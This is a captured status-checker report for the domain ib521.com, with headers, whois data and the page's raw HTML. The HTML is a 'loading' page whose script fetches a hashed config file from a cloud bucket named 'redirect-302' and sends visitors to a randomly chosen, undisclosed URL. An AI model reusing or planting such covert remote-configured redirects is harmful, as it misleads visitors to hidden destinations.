check web redirect url status code checker

Check server response of

Server response
NS records
Whois domain
Response headers
Request headers
Raw HTML code
200 OK - ib521.com
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: simple server
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=86400
Content-Length: 10046
Connection: close

HTTP Code 200 OK

http status code 200 is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: ib521.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<!DOCTYPE html>
			<html lang="zh">
			<head>
				<meta charset="UTF-8">
				<meta name="viewport" content="width=device-width, initial-scale=1.0">
				<title>Loading Page</title>
				<script>
				;(function ($) {
					'use strict'
					function safeAdd(x, y) {
					  var lsw = (x & 0xffff) + (y & 0xffff)
					  var msw = (x >> 16) + (y >> 16) + (lsw >> 16)
					  return (msw << 16) | (lsw & 0xffff)
					}
				  
					function bitRotateLeft(num, cnt) {
					  return (num << cnt) | (num >>> (32 - cnt))
					}
				  
					function md5cmn(q, a, b, x, s, t) {
					  return safeAdd(bitRotateLeft(safeAdd(safeAdd(a, q), safeAdd(x, t)), s), b)
					}
					
					function md5ff(a, b, c, d, x, s, t) {
					  return md5cmn((b & c) | (~b & d), a, b, x, s, t)
					}
					
					function md5gg(a, b, c, d, x, s, t) {
					  return md5cmn((b & d) | (c & ~d), a, b, x, s, t)
					}
					
					function md5hh(a, b, c, d, x, s, t) {
					  return md5cmn(b ^ c ^ d, a, b, x, s, t)
					}
					
					function md5ii(a, b, c, d, x, s, t) {
					  return md5cmn(c ^ (b | ~d), a, b, x, s, t)
					}
				  
					function binlMD5(x, len) {
					  /* append padding */
					  x[len >> 5] |= 0x80 << len % 32
					  x[(((len + 64) >>> 9) << 4) + 14] = len
				  
					  var i
					  var olda
					  var oldb
					  var oldc
					  var oldd
					  var a = 1732584193
					  var b = -271733879
					  var c = -1732584194
					  var d = 271733878
				  
					  for (i = 0; i < x.length; i += 16) {
						olda = a
						oldb = b
						oldc = c
						oldd = d
				  
						a = md5ff(a, b, c, d, x[i], 7, -680876936)
						d = md5ff(d, a, b, c, x[i + 1], 12, -389564586)
						c = md5ff(c, d, a, b, x[i + 2], 17, 606105819)
						b = md5ff(b, c, d, a, x[i + 3], 22, -1044525330)
						a = md5ff(a, b, c, d, x[i + 4], 7, -176418897)
						d = md5ff(d, a, b, c, x[i + 5], 12, 1200080426)
						c = md5ff(c, d, a, b, x[i + 6], 17, -1473231341)
						b = md5ff(b, c, d, a, x[i + 7], 22, -45705983)
						a = md5ff(a, b, c, d, x[i + 8], 7, 1770035416)
						d = md5ff(d, a, b, c, x[i + 9], 12, -1958414417)
						c = md5ff(c, d, a, b, x[i + 10], 17, -42063)
						b = md5ff(b, c, d, a, x[i + 11], 22, -1990404162)
						a = md5ff(a, b, c, d, x[i + 12], 7, 1804603682)
						d = md5ff(d, a, b, c, x[i + 13], 12, -40341101)
						c = md5ff(c, d, a, b, x[i + 14], 17, -1502002290)
						b = md5ff(b, c, d, a, x[i + 15], 22, 1236535329)
				  
						a = md5gg(a, b, c, d, x[i + 1], 5, -165796510)
						d = md5gg(d, a, b, c, x[i + 6], 9, -1069501632)
						c = md5gg(c, d, a, b, x[i + 11], 14, 643717713)
						b = md5gg(b, c, d, a, x[i], 20, -373897302)
						a = md5gg(a, b, c, d, x[i + 5], 5, -701558691)
						d = md5gg(d, a, b, c, x[i + 10], 9, 38016083)
						c = md5gg(c, d, a, b, x[i + 15], 14, -660478335)
						b = md5gg(b, c, d, a, x[i + 4], 20, -405537848)
						a = md5gg(a, b, c, d, x[i + 9], 5, 568446438)
						d = md5gg(d, a, b, c, x[i + 14], 9, -1019803690)
						c = md5gg(c, d, a, b, x[i + 3], 14, -187363961)
						b = md5gg(b, c, d, a, x[i + 8], 20, 1163531501)
						a = md5gg(a, b, c, d, x[i + 13], 5, -1444681467)
						d = md5gg(d, a, b, c, x[i + 2], 9, -51403784)
						c = md5gg(c, d, a, b, x[i + 7], 14, 1735328473)
						b = md5gg(b, c, d, a, x[i + 12], 20, -1926607734)
				  
						a = md5hh(a, b, c, d, x[i + 5], 4, -378558)
						d = md5hh(d, a, b, c, x[i + 8], 11, -2022574463)
						c = md5hh(c, d, a, b, x[i + 11], 16, 1839030562)
						b = md5hh(b, c, d, a, x[i + 14], 23, -35309556)
						a = md5hh(a, b, c, d, x[i + 1], 4, -1530992060)
						d = md5hh(d, a, b, c, x[i + 4], 11, 1272893353)
						c = md5hh(c, d, a, b, x[i + 7], 16, -155497632)
						b = md5hh(b, c, d, a, x[i + 10], 23, -1094730640)
						a = md5hh(a, b, c, d, x[i + 13], 4, 681279174)
						d = md5hh(d, a, b, c, x[i], 11, -358537222)
						c = md5hh(c, d, a, b, x[i + 3], 16, -722521979)
						b = md5hh(b, c, d, a, x[i + 6], 23, 76029189)
						a = md5hh(a, b, c, d, x[i + 9], 4, -640364487)
						d = md5hh(d, a, b, c, x[i + 12], 11, -421815835)
						c = md5hh(c, d, a, b, x[i + 15], 16, 530742520)
						b = md5hh(b, c, d, a, x[i + 2], 23, -995338651)
				  
						a = md5ii(a, b, c, d, x[i], 6, -198630844)
						d = md5ii(d, a, b, c, x[i + 7], 10, 1126891415)
						c = md5ii(c, d, a, b, x[i + 14], 15, -1416354905)
						b = md5ii(b, c, d, a, x[i + 5], 21, -57434055)
						a = md5ii(a, b, c, d, x[i + 12], 6, 1700485571)
						d = md5ii(d, a, b, c, x[i + 3], 10, -1894986606)
						c = md5ii(c, d, a, b, x[i + 10], 15, -1051523)
						b = md5ii(b, c, d, a, x[i + 1], 21, -2054922799)
						a = md5ii(a, b, c, d, x[i + 8], 6, 1873313359)
						d = md5ii(d, a, b, c, x[i + 15], 10, -30611744)
						c = md5ii(c, d, a, b, x[i + 6], 15, -1560198380)
						b = md5ii(b, c, d, a, x[i + 13], 21, 1309151649)
						a = md5ii(a, b, c, d, x[i + 4], 6, -145523070)
						d = md5ii(d, a, b, c, x[i + 11], 10, -1120210379)
						c = md5ii(c, d, a, b, x[i + 2], 15, 718787259)
						b = md5ii(b, c, d, a, x[i + 9], 21, -343485551)
				  
						a = safeAdd(a, olda)
						b = safeAdd(b, oldb)
						c = safeAdd(c, oldc)
						d = safeAdd(d, oldd)
					  }
					  return [a, b, c, d]
					}
				  
					function binl2rstr(input) {
					  var i
					  var output = ''
					  var length32 = input.length * 32
					  for (i = 0; i < length32; i += 8) {
						output += String.fromCharCode((input[i >> 5] >>> i % 32) & 0xff)
					  }
					  return output
					}
				  
				
					function rstr2binl(input) {
					  var i
					  var output = []
					  output[(input.length >> 2) - 1] = undefined
					  for (i = 0; i < output.length; i += 1) {
						output[i] = 0
					  }
					  var length8 = input.length * 8
					  for (i = 0; i < length8; i += 8) {
						output[i >> 5] |= (input.charCodeAt(i / 8) & 0xff) << i % 32
					  }
					  return output
					}
				  
					function rstrMD5(s) {
					  return binl2rstr(binlMD5(rstr2binl(s), s.length * 8))
					}
				  
					function rstrHMACMD5(key, data) {
					  var i
					  var bkey = rstr2binl(key)
					  var ipad = []
					  var opad = []
					  var hash
					  ipad[15] = opad[15] = undefined
					  if (bkey.length > 16) {
						bkey = binlMD5(bkey, key.length * 8)
					  }
					  for (i = 0; i < 16; i += 1) {
						ipad[i] = bkey[i] ^ 0x36363636
						opad[i] = bkey[i] ^ 0x5c5c5c5c
					  }
					  hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)
					  return binl2rstr(binlMD5(opad.concat(hash), 512 + 128))
					}
				  
					
					function rstr2hex(input) {
					  var hexTab = '0123456789abcdef'
					  var output = ''
					  var x
					  var i
					  for (i = 0; i < input.length; i += 1) {
						x = input.charCodeAt(i)
						output += hexTab.charAt((x >>> 4) & 0x0f) + hexTab.charAt(x & 0x0f)
					  }
					  return output
					}
				  
					
					function str2rstrUTF8(input) {
					  return unescape(encodeURIComponent(input))
					}
				  
				
					function rawMD5(s) {
					  return rstrMD5(str2rstrUTF8(s))
					}
				
					function hexMD5(s) {
					  return rstr2hex(rawMD5(s))
					}
					
					function rawHMACMD5(k, d) {
					  return rstrHMACMD5(str2rstrUTF8(k), str2rstrUTF8(d))
					}
					
					function hexHMACMD5(k, d) {
					  return rstr2hex(rawHMACMD5(k, d))
					}
				  
					function md5(string, key, raw) {
					  if (!key) {
						if (!raw) {
						  return hexMD5(string)
						}
						return rawMD5(string)
					  }
					  if (!raw) {
						return hexHMACMD5(key, string)
					  }
					  return rawHMACMD5(key, string)
					}
				  
					if (typeof define === 'function' && define.amd) {
					  define(function () {
						return md5
					  })
					} else if (typeof module === 'object' && module.exports) {
					  module.exports = md5
					} else {
					  $.md5 = md5
					}
				  })(this)
				</script>
				<style>
					body,
					html {
						height: 100%;
						margin: 0;
						display: flex;
						justify-content: center;
						align-items: center;
						background-color: #f7f7f7;
						font-family: Arial, sans-serif;
					}
			
					.loader-container {
						display: flex;
						flex-direction: column;
						justify-content: center;
						align-items: center;
					}
			
					.loader {
						border: 5px solid #f3f3f3;
						border-top: 5px solid #3498db;
						/* 加载动画的颜色 */
						border-radius: 50%;
						width: 50px;
						height: 50px;
						animation: spin 2s linear infinite;
					}
			
					.loading-text {
						margin-top: 20px;
						color: #3498db;
						font-size: 18px;
					}
			
					@keyframes spin {
						0% {
							transform: rotate(0deg);
						}
			
						100% {
							transform: rotate(360deg);
						}
					}
				</style>
			</head>
			
			<body>
				<div class="loader-container">
					<div class="loader"></div>
					<p class="loading-text">正在加载中...</p> 
				</div>
				<script>
				function fetchConfig(urls, index = 0) {
					if (index >= urls.length) {
						return;
					}
					const url = urls[index];
					fetch(url, { method: 'GET' })
						.then(response => response.text())
						.then(text => {
							if (text && text.indexOf('NoSuchKey')<0) {
								const arr = text.split(/\r?\n/);
								const randomIndex = Math.floor(Math.random() * arr.length);
								const url=arr[randomIndex];
								const finalUrl = url.startsWith('http') ? url : "http://"+url+"";
								const pathname=location.pathname=="/"?"":location.pathname;
								const newUrl = finalUrl+pathname+location.search;
								window.location.href = newUrl;
								
							}else{
								fetchConfig(urls, index + 1); // 尝试下一个URL
							}
						})
						.catch(error => {
							console.log(error);
							fetchConfig(urls, index + 1); // 尝试下一个URL
						});
				}
				
				const md5Value = md5(location.host.replace('www.', '')).toString();
				const urls = [
					 "http://redirect-302.oss-cn-shanghai.aliyuncs.com/config/"+md5Value+".txt",
					"http://redirect-302.oss-cn-shanghai.aliyuncs.com/config/acb5e564671193ee9a85ae3243c37ca1.txt"
				];
				fetchConfig(urls);
				</script>
			</body>
			</html>

Whois info of domain

Domain Name: IB521.COM
Registry Domain ID: 2923212642_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.dynadot.com
Registrar URL: http://www.dynadot.com
Updated Date: 2024-10-09T04:40:44Z
Creation Date: 2024-10-07T01:13:40Z
Registry Expiry Date: 2025-10-07T01:13:40Z
Registrar: Dynadot Inc
Registrar IANA ID: 472
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +16502620100
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: NS1.ALIDNS.COM
Name Server: NS2.ALIDNS.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-05-05T20:46:17Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
TERMS OF USE: You are not authorized to access or query our Whois
by the following terms of use: You agree that you may use this Data only
to: (1) allow, enable, or otherwise support the transmission of mass